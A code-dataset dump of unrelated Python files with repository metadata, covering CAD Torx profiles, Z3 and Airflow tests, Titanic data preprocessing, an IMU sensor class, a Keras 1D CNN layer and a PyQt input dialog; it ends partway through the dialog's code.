207a1ff2420210460539400dfd1945e8b7245497

[ "MIT" ]

1

2021-05-31T00:08:02.000Z

pallet.py

sprightlyManifesto/cadQuery2

207a1ff2420210460539400dfd1945e8b7245497

[ "MIT" ]

null

pallet.py

sprightlyManifesto/cadQuery2

207a1ff2420210460539400dfd1945e8b7245497

[ "MIT" ]

null

from cadquery import * from math import sin,cos,acos,asin,pi,atan2 class Pallet: def __init__(self): self.torx6 = { 6:(1.75,1.27), 8:(2.4,1.75), 10:(2.8,2.05), 15:(3.35,2.4), 20:(3.95,2.85), 25:(4.50,3.25), 30:(5.6,4.05), 40:(6.75,4.85),45:(7.93,5.64), 50:(8.95,6.45), 55:(11.35,8.05),60:(13.45,9.6),70:(15.7,11.2),80:(17.75,12.8),90:(20.2,14.4), 100:(22.4,16)} def radialSlot(self,wp,slotRad, cutterRad, a1, a2,offset=(0,0)): if slotRad > cutterRad: IR = slotRad-cutterRad OR = slotRad+cutterRad middle = a1+(a2-a1)/2 result = (wp.moveTo(IR*sin(a1),IR*cos(a1)) .threePointArc((IR*sin(middle),IR*cos(middle)),(IR*sin(a2),IR*cos(a2))) .tangentArcPoint((cutterRad*2*sin(a2),cutterRad*2*cos(a2))) .threePointArc((OR*sin(middle),OR*cos(middle)),(OR*sin(a1),OR*cos(a1))) .tangentArcPoint((-cutterRad*2*sin(a1),-cutterRad*2*cos(a1))).close() ) else: result = wp #log("issues") return(result) def hexAF(self,wp,af): R = af/cos(pi/6)/2 return wp.moveTo(-sin(pi/6)*R,af/2).lineTo(sin(pi/6)*R,af/2).lineTo(R,0)\ .lineTo(sin(pi/6)*R,-af/2).lineTo(-sin(pi/6)*R,-af/2).lineTo(-R,0).close() def torx(self,wp,no): A , B = self.torx6[no] re=A*0.1 ri=A*0.175 x = ri*(sin(pi/6)*(A/2-re))/(re + ri) y1 = B/2 + ri y2 = cos(pi/6)*(A/2 - re) y = y1 - ri*((y1 -y2))/(re + ri) #log(f"x:{x} y1:{y1} y2:{y2}") phi = atan2(x,y) #log(f"phi:{round(phi,2)} x:{round(x,2)} y:{round(y,2)} re:{round(re,2)} ri:{round(ri,2)}") R = (x**2+y**2)**0.5 Rm = A/2 B = B/2 res = wp.moveTo(R*sin(-phi),R*cos(-phi)).threePointArc((0,B),(R*sin(phi),R*cos(phi))) \ .threePointArc((Rm*sin(pi/6),Rm*cos(pi/6)),(R*sin(pi/3-phi),R*cos(pi/3-phi))) \ .threePointArc((B*sin(pi/3), B*cos(pi/3)),(R*sin(phi+pi/3),R*cos(phi+pi/3))) \ .threePointArc((Rm*sin(3*pi/6),Rm*cos(3*pi/6)),(R*sin(2*pi/3-phi),R*cos(2*pi/3-phi))) \ .threePointArc((B*sin(2*pi/3), B*cos(2*pi/3)),(R*sin(phi+2*pi/3),R*cos(phi+2*pi/3))) \ .threePointArc((Rm*sin(5*pi/6),Rm*cos(5*pi/6)),(R*sin(3*pi/3-phi),R*cos(3*pi/3-phi))) \ .threePointArc((B*sin(3*pi/3), B*cos(3*pi/3)),(R*sin(phi+3*pi/3),R*cos(phi+3*pi/3))) \ .threePointArc((Rm*sin(7*pi/6),Rm*cos(7*pi/6)),(R*sin(4*pi/3-phi),R*cos(4*pi/3-phi))) \ .threePointArc((B*sin(4*pi/3), B*cos(4*pi/3)),(R*sin(phi+4*pi/3),R*cos(phi+4*pi/3))) \ .threePointArc((Rm*sin(9*pi/6),Rm*cos(9*pi/6)),(R*sin(5*pi/3-phi),R*cos(5*pi/3-phi))) \ .threePointArc((B*sin(5*pi/3), B*cos(5*pi/3)),(R*sin(phi+5*pi/3),R*cos(phi+5*pi/3))) \ .threePointArc((Rm*sin(11*pi/6),Rm*cos(11*pi/6)),(R*sin(6*pi/3-phi),R*cos(6*pi/3-phi))) \ .close() return res if __name__== "__main__": p = Pallet() ks = list(p.torx6.keys()) ks.reverse() a = cq.Workplane().circle(12).extrude(-3) for k in ks: a = a.union(p.torx(a.faces(">Z").workplane(),k).extrude(1))

48.308824

101

0.497717

2,986

0.90898

0

150

0.045662

a8071813703c97e154c1a58b74d953608becaf8d

235

py

Python

old-regressions/python/tst6.py

muchang/z3test

e3e7739f98b7aa85427fcb8a39a4c675132a896e

[ "MIT" ]

23

2015-04-20T08:51:00.000Z

2021-11-15T12:20:59.000Z

old-regressions/python/tst6.py

muchang/z3test

e3e7739f98b7aa85427fcb8a39a4c675132a896e

[ "MIT" ]

18

2016-03-02T15:17:42.000Z

2021-12-16T22:10:05.000Z

old-regressions/python/tst6.py

muchang/z3test

e3e7739f98b7aa85427fcb8a39a4c675132a896e

[ "MIT" ]

30

2015-05-30T15:29:17.000Z

2022-02-25T15:58:58.000Z

# Copyright (c) 2015 Microsoft Corporation from z3 import * print(simplify(Sqrt(2)).sexpr()) set_option(":pp-decimal-precision", 50, pp_decimal=True) print(simplify(Sqrt(2)).sexpr()) set_option(precision=20) print(simplify(Sqrt(2)))

23.5

56

0.744681

0

65

0.276596

a808c833e4004773a8618ea9f6a2827bf0e5f1ca

2,044

py

Python

data-detective-airflow/tests/dag_generator/test_tdag.py

dmitriy-e/metadata-governance

018a879951dee3f3c2c05ac8e05b8360dd7f4ab3

[ "Apache-2.0" ]

5

2021-12-01T09:55:23.000Z

2021-12-21T16:23:33.000Z

data-detective-airflow/tests/dag_generator/test_tdag.py

dmitriy-e/metadata-governance

018a879951dee3f3c2c05ac8e05b8360dd7f4ab3

[ "Apache-2.0" ]

1

2021-11-16T15:55:34.000Z

data-detective-airflow/tests/dag_generator/test_tdag.py

dmitriy-e/metadata-governance

018a879951dee3f3c2c05ac8e05b8360dd7f4ab3

[ "Apache-2.0" ]

2

2021-11-03T09:43:09.000Z

2021-11-17T10:16:29.000Z

import pytest import allure from data_detective_airflow.constants import PG_CONN_ID, S3_CONN_ID from data_detective_airflow.dag_generator.results import PgResult, PickleResult from data_detective_airflow.dag_generator import ResultType, WorkType @allure.feature('Dag results') @allure.story('Create Pickle') def test_dag_file_create_result(test_dag, context): dag_result = test_dag.get_result(operator=None, result_name='test', context=context, result_type=test_dag.result_type, work_type=test_dag.work_type) assert isinstance(dag_result, PickleResult) test_dag.clear_all_works(context) @allure.feature('Dag results') @allure.story('Create S3') @pytest.mark.parametrize('test_dag', [(ResultType.RESULT_PICKLE.value, WorkType.WORK_S3.value, S3_CONN_ID)], indirect=True) def test_dag_s3_create_result(test_dag, context): dag_result = test_dag.get_result(operator=None, result_name='test', context=context, result_type=test_dag.result_type, work_type=test_dag.work_type) assert isinstance(dag_result, PickleResult) test_dag.clear_all_works(context) @allure.feature('Dag results') @allure.story('Create PG') @pytest.mark.parametrize('test_dag', [(ResultType.RESULT_PG.value, WorkType.WORK_PG.value, PG_CONN_ID)], indirect=True) def test_dag_pg_create_result(test_dag, context): dag_result = test_dag.get_result(operator=None, result_name='test', context=context, result_type=test_dag.result_type, work_type=test_dag.work_type) assert isinstance(dag_result, PgResult) test_dag.clear_all_works(context)

41.714286

88

0.611546

0

1,788

0.874755

0

114

0.055773

a8094575efb5f9d3bcb611dcb83074209e70f07f

478

py

Python

Algorithms/Easy/830. Positions of Large Groups/answer.py

KenWoo/Algorithm

4012a2f0a099a502df1e5df2e39faa75fe6463e8

[ "Apache-2.0" ]

null

Algorithms/Easy/830. Positions of Large Groups/answer.py

KenWoo/Algorithm

4012a2f0a099a502df1e5df2e39faa75fe6463e8

[ "Apache-2.0" ]

null

Algorithms/Easy/830. Positions of Large Groups/answer.py

KenWoo/Algorithm

4012a2f0a099a502df1e5df2e39faa75fe6463e8

[ "Apache-2.0" ]

null

from typing import List class Solution: def largeGroupPositions(self, S: str) -> List[List[int]]: l = [] start = end = 0 while start < len(S): while end < len(S) and S[start] == S[end]: end += 1 if end - start >= 3: l.append([start, end - 1]) start = end return l if __name__ == "__main__": s = Solution() result = s.largeGroupPositions("abc") print(result)

22.761905

61

0.493724

343

0.717573

0

15

0.031381

a80a22c9f777e08edf7fe7ed83b93c4fd1e307bc

1,727

py

Python

imu.py

aume1/SatelliteTracker

62725e1d1a72a1350b2af15d9e33fcd574ceb3a2

[ "MIT" ]

2

2021-06-19T17:17:30.000Z

2021-06-19T17:17:39.000Z

imu.py

aume1/SatelliteTracker

62725e1d1a72a1350b2af15d9e33fcd574ceb3a2

[ "MIT" ]

null

imu.py

aume1/SatelliteTracker

62725e1d1a72a1350b2af15d9e33fcd574ceb3a2

[ "MIT" ]

1

2021-06-19T17:18:32.000Z

import time import math import py_qmc5883l import pigpio import adafruit_bmp280 from i2c_ADXL345 import ADXL345 import numpy as np from i2c_ITG3205 import Gyro class IMU: def __init__(self, pi): self.gyro = Gyro(pi) self.accel = ADXL345(pi) self.mag = py_qmc5883l.QMC5883L(pi) rpy = list(self.get_roll_pitch_yaw()) self._prev_time = time.time() def get_accel(self): return self.accel.get_xyz_accel() def get_gyro(self): return self.gyro.get_rotations() def get_mag(self): return self.mag.get_dir() def get_north(self): D = self.get_accel() D_mag = math.sqrt(D[0]**2 + D[1]**2 + D[2]**2) D = [x/D_mag for x in D] # D = [x for x in acc_unit] # used to be negative, flipped sensor so it is positive now E = np.cross(D, self.get_mag()) # east is the cross-product of down and the direction of magnet e_mag = math.sqrt(E[0]**2 + E[1]**2 + E[2]**2) E /= e_mag N = np.cross(E, D) # north is the cross-product of east and down n_mag = math.sqrt(N[0] ** 2 + N[1] ** 2 + N[2] ** 2) N /= n_mag return N def get_roll_pitch_yaw(self): x, y, z = self.get_accel() x_Buff = float(x) y_Buff = float(y) z_Buff = float(z) roll = 180 + math.atan2(y_Buff, z_Buff) * 57.3 pitch = math.atan2((- x_Buff), math.sqrt(y_Buff * y_Buff + z_Buff * z_Buff)) * 57.3 if roll > 180: roll -= 360 yaw = self.mag.get_bearing() return roll, pitch, yaw if __name__ == "__main__": pi = pigpio.pi('192.168.178.229') imu = IMU(pi) while True: print(imu.get_roll_pitch_yaw())

28.311475

104

0.579618

1,423

0.823972

0

223

0.129126

a80b6a8d0bacba13b3fe61daf36962d8ad3001a4

8,892

py

Python

src/titanic/tit_utils.py

buffbob/titanic

1e52814076ad78f6f9845d7b8f829889977a907b

[ "MIT" ]

null

src/titanic/tit_utils.py

buffbob/titanic

1e52814076ad78f6f9845d7b8f829889977a907b

[ "MIT" ]

null

src/titanic/tit_utils.py

buffbob/titanic

1e52814076ad78f6f9845d7b8f829889977a907b

[ "MIT" ]

null

import pandas as pd from sklearn.model_selection import GridSearchCV, train_test_split, cross_val_score from sklearn.tree import DecisionTreeClassifier from sklearn.metrics import accuracy_score, classification_report import matplotlib.pyplot as plt import numpy as np import category_encoders as ce from sklearn.preprocessing import StandardScaler, LabelEncoder, OneHotEncoder, OrdinalEncoder def load_tit(path): """ downloads data from kaggle stored at path = "../Data/" returns a tuple of our titanic datasets- (train,test) """ train = pd.read_csv(path + 'tit_train.csv') test = pd.read_csv(path + "tit_test.csv") return (train, test) def gscv_results_terse(model, params, X_train, y_train, X_test, y_test): ''' clf = a classifier, params = a dict to feed to gridsearch_cv, score_list = list of evaluation metrics nuff said ''' scores = ["accuracy"] for score in scores: print("# Tuning hyper-parameters for %s" % score) clf = GridSearchCV(model, params, cv=10, scoring=score) clf.fit(X_train, y_train) print("Best parameters set found on development set: \n{}".format(clf.best_params_)) print('___________________________________') print('cv scores on the best estimator') scores = cross_val_score(clf.best_estimator_, X_train, y_train, scoring="accuracy", cv=10) print(scores) print('the average cv score is {:.3} with a std of {:.3}'.format(np.mean(scores), np.std(scores))) return clf def print_gscv_results(model, params, X_train, y_train, X_test, y_test): ''' clf = a classifier, params = a dict to feed to gridsearch_cv, score_list = list of evaluation metrics ''' scores = ["accuracy"] for score in scores: print("# Tuning hyper-parameters for %s" % score) print() clf = GridSearchCV(model, params, cv=5, scoring=score) clf.fit(X_train, y_train) print("Best parameters set found on development set:") print() print(clf.best_params_) print() print("Grid scores on development set:") print() means = clf.cv_results_['mean_test_score'] stds = clf.cv_results_['std_test_score'] for mean, std, params in zip(means, stds, clf.cv_results_['params']): print("%0.3f (+/-%0.03f) for %r" % (mean, std * 2, params)) print() print("Detailed classification report:") print() print("The model is trained on the full development set.") print("The scores are computed on the full evaluation set.") print() y_true, y_pred = y_test, clf.predict(X_test) print(classification_report(y_true, y_pred)) print('________________________________________________') print('best params for model are {}'.format(clf.best_params_)) print('\n___________________________________\n') print('cv scores on the best estimator') scores = cross_val_score(clf.best_estimator_, X_train, y_train, scoring="accuracy", cv=10) print(scores) print('the average cv score is {:.2}\n\n'.format(np.mean(scores))) return clf def visualize_classifier(model, X, y, ax=None, cmap='rainbow'): """ X is a 2D dataset nuf said """ ax = ax or plt.gca() # Plot the training points ax.scatter(X.iloc[:, 0], X.iloc[:, 1], c=y, s=30, cmap=cmap, clim=(y.min(), y.max()), zorder=3) ax.axis('tight') ax.axis('off') xlim = ax.get_xlim() ylim = ax.get_ylim() # fit the estimator model.fit(X, y) xx, yy = np.meshgrid(np.linspace(*xlim, num=200), np.linspace(*ylim, num=200)) Z = model.predict(np.c_[xx.ravel(), yy.ravel()]).reshape(xx.shape) # Create a color plot with the results n_classes = len(np.unique(y)) contours = ax.contourf(xx, yy, Z, alpha=0.3, levels=np.arange(n_classes + 1) - 0.5, cmap=cmap, clim=(y.min(), y.max()), zorder=1) ax.set(xlim=xlim, ylim=ylim) # this dataset has unique cols so we will go through one by one def pp_Embarked(df): """ simply adds 'C' where missing values are present inplace imputation return df """ df.Embarked.fillna("C", inplace=True) return df def pp_Name(df): """ extracts the title from the Name column returns- df with a new column named Title appended to original df """ temp = df.Name.apply(lambda x: x.split(',')[1].split(".")[0].strip()) df['Title'] = temp return df def pp_Age(df): """ imputes missing values of age through a groupby([Pclass,Title,isFemale]) returns df with new column named Age_nonull appended to it """ transformed_Age = df.groupby(["Title", 'Pclass', "Sex"])['Age'].transform(lambda x: x.fillna(x.median())) df['Age_nonull'] = transformed_Age return df def pp_Fare(df): ''' This will clip outliers to the middle 98% of the range ''' temp = df['Fare'].copy() limits = np.percentile(temp, [1, 99]) df.Fare = np.clip(temp, limits[0], limits[1]) return df def pp_AgeBin(df): """ takes Age_nonull and puts in bins returns df with new column- AgeBin """ z = df.Age_nonull.round() # some values went to 0 so clip to 1 binborders = np.linspace(0, 80, 17) z = z.clip(1, None) z = z.astype("int32") df['AgeBin'] = pd.cut(z, bins=binborders, labels=False) return df def pp_Sex(df): """ maps male and female to 0 and 1 returns the df with is_Female added """ df['is_Female'] = df.Sex.apply(lambda row: 0 if row == "male" else 1) # one way return df def pp_Cabin(df): """ extracts the deck from the cabin. Mostly 1st class has cabin assignments. Replace nan with "unk". Leaves as an ordinal categorical. can be onehoted later. returns the df with Deck added as a column """ df["Deck"] = "UNK" temp = df.loc[df.Cabin.notnull(), :].copy() temp['D'] = temp.Cabin.apply(lambda z: z[0]) df.iloc[temp.index, -1] = temp["D"] # df.where(df.Deck != "0", "UNK") return df def oneHot(df,col_list): for col in col_list: newcol_names = [] oh = OneHotEncoder(dtype="uint8",categories='auto') # must convert df/series to array for onehot vals = df[[col]].values temp = oh.fit_transform(vals).toarray()#converts sparse to normal array # the new names for columns for name in oh.categories_[0]: newcol_names.append(col + "_" + str(name)) tempdf = pd.DataFrame(temp, columns = newcol_names) df = pd.concat([df, tempdf], axis=1) return df def scaleNumeric(df, cols): """ Standardize features by removing the mean and scaling to unit variance """ ss = StandardScaler() scaled_features = ss.fit_transform(df[cols].values) for i, col in enumerate(cols): df[col + "_scaled"] = scaled_features[:, i] return df def chooseFeatures(df, alist): """ df is our dataframe with all new features added alist is a list of cols to select for a new dataframe returns df[alist] """ return df[alist] def test_dtc(alist, df, labels): """ tests a decision tree model for classification prints out way to much stuff returns a GridSearchCV classifier """ a = df[alist] # select columns X_train, X_test, y_train, y_test = train_test_split(a, labels, test_size=0.2, random_state=42) dtc = DecisionTreeClassifier() dtc_dict = dt_dict = [{"max_depth": [2, 5, 8, 12, 15], "min_samples_leaf": [1, 2, 3], "max_features": [None, 1.0, 2, 'sqrt', X_train.shape[1]]}] clf = gscv_results_terse(dtc, dtc_dict, X_train, y_train, X_test, y_test) return clf ######################################################### # some utilities functions to aid in ml in general def lin_to_log_even(min_num, max_num, num_pts=10): """ This really only needed in min_num << 1 and min_max >> 1 creates an evenly spaced log space from min_num to max_num """ lmin = np.log10(min_num) lmax = np.log10(max_num) ls = np.linspace(lmin, lmax, num_pts) log_spaces = np.power(10, ls) # print(["{:05f}".format(each) for each in log_spaces]) return log_spaces def lin_to_log_random(num1, num2, num_pts=10): """ This really only needed in min_num << 1 and min_max >> 1 creates an array of random selected pts of len num_pts each point is in the log space from min_num to max_num """ ln1 = np.log10(num1) ln2 = np.log10(num2) range_bn = np.abs(ln2 - ln1) z = ln2 + np.random.rand(num_pts) * -range_bn zz = np.power(10, z) print(["{:05f}".format(each) for each in zz]) return zz

31.870968

109

0.624944

0

3,453

0.388327

a80bd9815a0efacc56fe16adf0b6e490442b6851

161

py

Python

magic_markdown/__init__.py

transfluxus/magic_markdown

3a71d0c0a0937dc87973b6e19389f27575e16208

[ "MIT" ]

10

2019-04-09T17:33:52.000Z

2021-05-10T04:58:59.000Z

magic_markdown/__init__.py

transfluxus/magic_markdown

3a71d0c0a0937dc87973b6e19389f27575e16208

[ "MIT" ]

null

magic_markdown/__init__.py

transfluxus/magic_markdown

3a71d0c0a0937dc87973b6e19389f27575e16208

[ "MIT" ]

null

name = "magic_markdown" from magic_markdown.MagicMarkdown import MagicMarkdown def load_ipython_extension(ipython): ipython.register_magics(MagicMarkdown)

23

54

0.838509

0

16

0.099379

a80cfdeae5dd9779dfdf75f7f464b230527883ae

1,167

py

Python

src/Tests/power_generators_tests/solar_panel_tests/solar_panel_east_west_test.py

BoKleynen/P-O-3-Smart-Energy-Home

4849038c47199aa0a752ff5a4f2afa91f4a9e8f0

[ "MIT" ]

null

src/Tests/power_generators_tests/solar_panel_tests/solar_panel_east_west_test.py

BoKleynen/P-O-3-Smart-Energy-Home

4849038c47199aa0a752ff5a4f2afa91f4a9e8f0

[ "MIT" ]

null

src/Tests/power_generators_tests/solar_panel_tests/solar_panel_east_west_test.py

BoKleynen/P-O-3-Smart-Energy-Home

4849038c47199aa0a752ff5a4f2afa91f4a9e8f0

[ "MIT" ]

null

import matplotlib.pyplot as plt import pandas as pd from house.production.solar_panel import SolarPanel from house import House from math import pi from time import time start_time = time() solar_panel_east = SolarPanel(285.0, 10*pi/180, -pi/2, 0.87, 1.540539, 10) solar_panel_west = SolarPanel(285.0, 10*pi/180, pi/2, 0.87, 1.540539, 10) house = House([], solar_panel_tp=(solar_panel_east, solar_panel_west)) irradiance_df = pd.read_csv(filepath_or_buffer="C:\\Users\\Lander\\Documents\\KULeuven\\2e bachelor\\semester 1\\P&O 3\\P-O-3-Smart-Energy-Home\\data\\Irradiance.csv", header=0, index_col="Date/Time", dtype={"watts-per-meter-sq": float}, parse_dates=["Date/Time"] ) start = pd.Timestamp("2016-06-17 00:00:00") # end = pd.Timestamp("2017-04-21 23:55:00") end = pd.Timestamp("2016-06-17 23:55:00") times = pd.date_range(start, end, freq="300S") data = [house.power_production(t, irradiance_df) for t in pd.date_range(start, end, freq="300S")] # print(data) plt.plot(data) print(time() - start_time) plt.show()

33.342857

167

0.642674

0

271

0.232219

a813a7003f5f5d2c9a1b282747c12188d836b770

2,468

py

Python

src/lsct/models/cnn_1d.py

junyongyou/lsct_phiqnet

ffa546b3225c7db0bc7977565dc11a91186fe939

[ "MIT" ]

9

2021-11-01T06:06:33.000Z

2022-02-07T12:21:18.000Z

src/lsct/models/cnn_1d.py

junyongyou/lsct_phiqnet

ffa546b3225c7db0bc7977565dc11a91186fe939

[ "MIT" ]

null

src/lsct/models/cnn_1d.py

junyongyou/lsct_phiqnet

ffa546b3225c7db0bc7977565dc11a91186fe939

[ "MIT" ]

1

2022-03-06T07:38:32.000Z

from tensorflow.keras.layers import Layer, Conv1D, Input, Dropout, MaxPool1D, Masking import tensorflow.keras.backend as K from tensorflow.keras import Model import tensorflow as tf class CNN1D(Layer): def __init__(self, filters=(32, 64), pooling_sizes=(4, 4), kernel_size=3, stride_size=1, using_dropout=True, using_bias=False, dropout_rate=0.1, **kwargs): """ 1D CNN model :param filters: filter numbers in the CNN blocks :param pooling_sizes: max pooling size in each block :param kernel_size: kernel size of CNN layer :param stride_size: stride of CNN layer :param using_dropout: flag to use dropout or not :param using_bias: flag to use bias in CNN or not :param dropout_rate: dropout rate if using it :param kwargs: other config prams """ self.filters = filters self.kernel_size = kernel_size self.stride_size = stride_size self.using_dropout = using_dropout self.conv1d = [] self.pooling = [] self.dropout = [] for i, s_filter in enumerate(filters): self.conv1d.append(Conv1D(s_filter, kernel_size, padding='same', strides=stride_size, use_bias=using_bias, name='conv{}'.format(i) )) self.pooling.append(MaxPool1D(pool_size=pooling_sizes[i], name='pool{}'.format(i))) if using_dropout: self.dropout = Dropout(rate=dropout_rate) super(CNN1D, self).__init__(**kwargs) def build(self, input_shape): super(CNN1D, self).build(input_shape) def call(self, x, mask=None): for i in range(len(self.conv1d)): x = self.conv1d[i](x) x = self.pooling[i](x) if self.using_dropout: x = self.dropout(x) x = K.squeeze(x, axis=-2) return x def compute_output_shape(self, input_shape): return 1, self.filters[-1] if __name__ == '__main__': input_shape = (16, 5 * 256) filters = [32, 64, 128, 256] pooling_sizes = [2, 2, 2, 2] inputs = Input(shape=input_shape) x = CNN1D(filters=filters, pooling_sizes=pooling_sizes)(inputs) model = Model(inputs=inputs, outputs=x) model.summary()

37.393939

112

0.573339

1,986

0.8047

0

498

0.201783

a81433a2173979769be9813ef0e72f88f835d3f9

339

py

Python

1 clean code/auto_format_on_save.py

philippschmalen/ml-devops-engineer

98c4c94b807215e2a909905235bde4a8d022477f

[ "MIT" ]

null

1 clean code/auto_format_on_save.py

philippschmalen/ml-devops-engineer

98c4c94b807215e2a909905235bde4a8d022477f

[ "MIT" ]

null

1 clean code/auto_format_on_save.py

philippschmalen/ml-devops-engineer

98c4c94b807215e2a909905235bde4a8d022477f

[ "MIT" ]

null

""" Play with autoformatting on save Ensure to pip install black within your environment """ # test linting with an unnecessary import # it should complain and suggest a solution import sys thisdict = { "brand": "Ford", "model": "Mustang", "year": 1964, "okay": "This is getting way too long", } def hello(): pass

16.142857

51

0.666667

0

247

0.728614

a81435452d7a1fd0220c50904adbc5e774a45f27

931

py

Python

test/utils.py

eddrial/aapy

929f554aea24c0a893052f0907488e0a843fd5dd

[ "Apache-2.0" ]

null

test/utils.py

eddrial/aapy

929f554aea24c0a893052f0907488e0a843fd5dd

[ "Apache-2.0" ]

null

test/utils.py

eddrial/aapy

929f554aea24c0a893052f0907488e0a843fd5dd

[ "Apache-2.0" ]

null

import json import os import mock def mock_response(json_str=None, raw=None): resp = mock.MagicMock() if json_str is not None: loaded_json = json.loads(json_str) resp.json = mock.MagicMock(return_value=loaded_json) if raw is not None: resp.raw = mock.MagicMock() resp.raw.read = mock.MagicMock(return_value=raw) return resp def get_data_filepath(filename): """Construct filepath for a file in the test/data directory Args: filename: name of file Returns: full path to file """ return os.path.join(os.path.dirname(__file__), 'data', filename) def load_from_file(filename): """Load the contents of a file in the data directory. Args: filename: name of file to load Returns: contents of file as a string """ filepath = get_data_filepath(filename) with open(filepath) as f: return f.read()

21.159091

68

0.651987

0

317

0.340494

a81666f0e6701e07b7dd6f00c88fe2096ec32290

391

py

Python

archive/AIAP_v1.00/v1.2b/promoter_bin.py

ShaopengLiu1/Zhanglab_ATAC-seq_analysis

3f615c159bb04fcc3f7b777e00c5f04ff105898c

[ "MIT" ]

null

archive/AIAP_v1.00/v1.2b/promoter_bin.py

ShaopengLiu1/Zhanglab_ATAC-seq_analysis

3f615c159bb04fcc3f7b777e00c5f04ff105898c

[ "MIT" ]

null

archive/AIAP_v1.00/v1.2b/promoter_bin.py

ShaopengLiu1/Zhanglab_ATAC-seq_analysis

3f615c159bb04fcc3f7b777e00c5f04ff105898c

[ "MIT" ]

1

2018-02-26T03:14:46.000Z

import sys peak=[] with open(sys.argv[1],'r') as f: for line in f: line=line.strip('\n').split('\t') peak.append(int(line[3])) f.close() num=int(len(peak)/100.0) bin=[] for i in range(99): bin.append(str(i+1)+'\t'+str(sum(peak[num*i:num*(i+1)])/(num*1.0))+'\n') bin.append('100'+'\t'+str(sum(peak[num*99:])/(num*1.0))+'\n') with open('bin.txt','w') as f: f.writelines(bin) f.close

20.578947

73

0.59335

0

44

0.112532

a8172aac1601eb8a00a3b924aa63876138f48a83

1,347

py

Python

Code/Database Creator/examples.py

Storm-Petrel/HawkEye

f9afde3866ab9e5e71de7f2be4d836be9ed48d69

[ "MIT" ]

null

Code/Database Creator/examples.py

Storm-Petrel/HawkEye

f9afde3866ab9e5e71de7f2be4d836be9ed48d69

[ "MIT" ]

null

Code/Database Creator/examples.py

Storm-Petrel/HawkEye

f9afde3866ab9e5e71de7f2be4d836be9ed48d69

[ "MIT" ]

null

import csv from faker import Faker fake = Faker() for x in range(0, 10): placa = fake.pystr(min_chars=3, max_chars=3).upper() + str(fake.pydecimal(left_digits=1, right_digits=1, positive=True)) + str(fake.pydecimal(left_digits=1, right_digits=1, positive=True)) placa = placa.replace(".","") atualLat = str(fake.geo_coordinate(center=-8.059845, radius=0.001)) atualLon = str(fake.geo_coordinate(center=-34.905552, radius=0.001)) geo0Lat = str(fake.geo_coordinate(center=-8.021154, radius=0.001)) geo0Lon = str(fake.geo_coordinate(center=-34.933909, radius=0.001)) geo1Lat = str(fake.geo_coordinate(center=-8.027868, radius=0.001)) geo1Lon = str(fake.geo_coordinate(center=-34.852109, radius=0.001)) geo2Lat = str(fake.geo_coordinate(center=-8.122738, radius=0.001)) geo2Lon = str(fake.geo_coordinate(center=-34.874526, radius=0.001)) geo3Lat = str(fake.geo_coordinate(center=-8.052431, radius=0.001)) geo3Lon = str(fake.geo_coordinate(center=-34.959744, radius=0.001)) csvRow = [placa,atualLat,atualLon,geo0Lat,geo0Lon,geo1Lat,geo1Lon,geo2Lat,geo2Lon,geo3Lat,geo3Lon,"0","0"] with open('cars.csv', 'a', newline='\n') as csvfile: spamwriter = csv.writer(csvfile, delimiter=',',quotechar='|',quoting=csv.QUOTE_MINIMAL) spamwriter.writerow(csvRow)

51.807692

193

0.697847

0

34

0.025241

a8178087a6d24532c3fa392eae43c6d6a8b30612

4,595

py

Python

MultiInputDialog.py

chemmatcars/XModFit

7d1298448d1908d78797fd67ce0a00ecfaf17629

[ "MIT" ]

null

MultiInputDialog.py

chemmatcars/XModFit

7d1298448d1908d78797fd67ce0a00ecfaf17629

[ "MIT" ]

2

2019-07-31T23:14:14.000Z

2020-12-26T16:27:02.000Z

MultiInputDialog.py

chemmatcars/XModFit

7d1298448d1908d78797fd67ce0a00ecfaf17629

[ "MIT" ]

2

2019-07-31T22:22:06.000Z

2020-07-14T04:58:16.000Z

from PyQt5.QtWidgets import QWidget, QApplication, QPushButton, QLabel, QLineEdit, QVBoxLayout, QMessageBox, QCheckBox,\ QSpinBox, QComboBox, QListWidget, QDialog, QFileDialog, QProgressBar, QTableWidget, QTableWidgetItem,\ QAbstractItemView, QSpinBox, QSplitter, QSizePolicy, QAbstractScrollArea, QHBoxLayout, QTextEdit, QShortcut,\ QProgressDialog from PyQt5.QtGui import QPalette, QKeySequence, QDoubleValidator, QIntValidator from PyQt5.QtCore import Qt, QThread, QSignalMapper import sys import pyqtgraph as pg class MultiInputDialog(QDialog): def __init__(self, inputs={'Input':'default value'}, title='Multi Input Dialog', parent=None): QDialog.__init__(self, parent) self.setWindowTitle(title) self.inputs=inputs self.intValidator = QIntValidator() self.floatValidator = QDoubleValidator() self.createUI() def createUI(self): self.vblayout = QVBoxLayout(self) self.layoutWidget = pg.LayoutWidget() self.vblayout.addWidget(self.layoutWidget) self.labels={} self.inputFields={} for key, value in self.inputs.items(): self.labels[key] = QLabel(key) self.layoutWidget.addWidget(self.labels[key]) if type(value)==int: self.signalMapper1 = QSignalMapper(self) self.inputFields[key]=QLineEdit(str(value)) self.inputFields[key].setValidator(self.intValidator) self.inputFields[key].textChanged.connect(self.signalMapper1.map) self.signalMapper1.setMapping(self.inputFields[key], key) self.signalMapper1.mapped[str].connect(self.inputChanged) elif type(value)==float: self.signalMapper2 = QSignalMapper(self) self.inputFields[key]=QLineEdit(str(value)) self.inputFields[key].setValidator(self.floatValidator) self.inputFields[key].textChanged.connect(self.signalMapper2.map) self.signalMapper2.setMapping(self.inputFields[key], key) self.signalMapper2.mapped[str].connect(self.inputChanged) elif type(value)==bool: self.signalMapper3 = QSignalMapper(self) self.inputFields[key]=QCheckBox() self.inputFields[key].setTristate(False) self.inputFields[key].stateChanged.connect(self.signalMapper3.map) self.signalMapper3.setMapping(self.inputFields[key], key) self.signalMapper3.mapped[str].connect(self.inputStateChanged) elif type(value)==str: self.signalMapper4 = QSignalMapper(self) self.inputFields[key] = QLineEdit(value) self.inputFields[key].textChanged.connect(self.signalMapper4.map) self.signalMapper4.setMapping(self.inputFields[key], key) self.signalMapper4.mapped[str].connect(self.inputChanged) elif type(value)==list: self.signalMapper5 = QSignalMapper(self) self.inputFields[key] = QComboBox() self.inputFields[key].addItems(value) self.inputFields[key].currentTextChanged.connect(self.signalMapper5.map) self.signalMapper5.setMapping(self.inputFields[key], key) self.signalMapper5.mapped[str].connect(self.inputTextChanged) self.layoutWidget.addWidget(self.inputFields[key]) self.layoutWidget.nextRow() self.layoutWidget.nextRow() self.cancelButton = QPushButton('Cancel') self.cancelButton.clicked.connect(self.cancelandClose) self.layoutWidget.addWidget(self.cancelButton, col=0) self.okButton = QPushButton('OK') self.okButton.clicked.connect(self.okandClose) self.layoutWidget.addWidget(self.okButton, col=1) self.okButton.setDefault(True) def inputChanged(self, key): 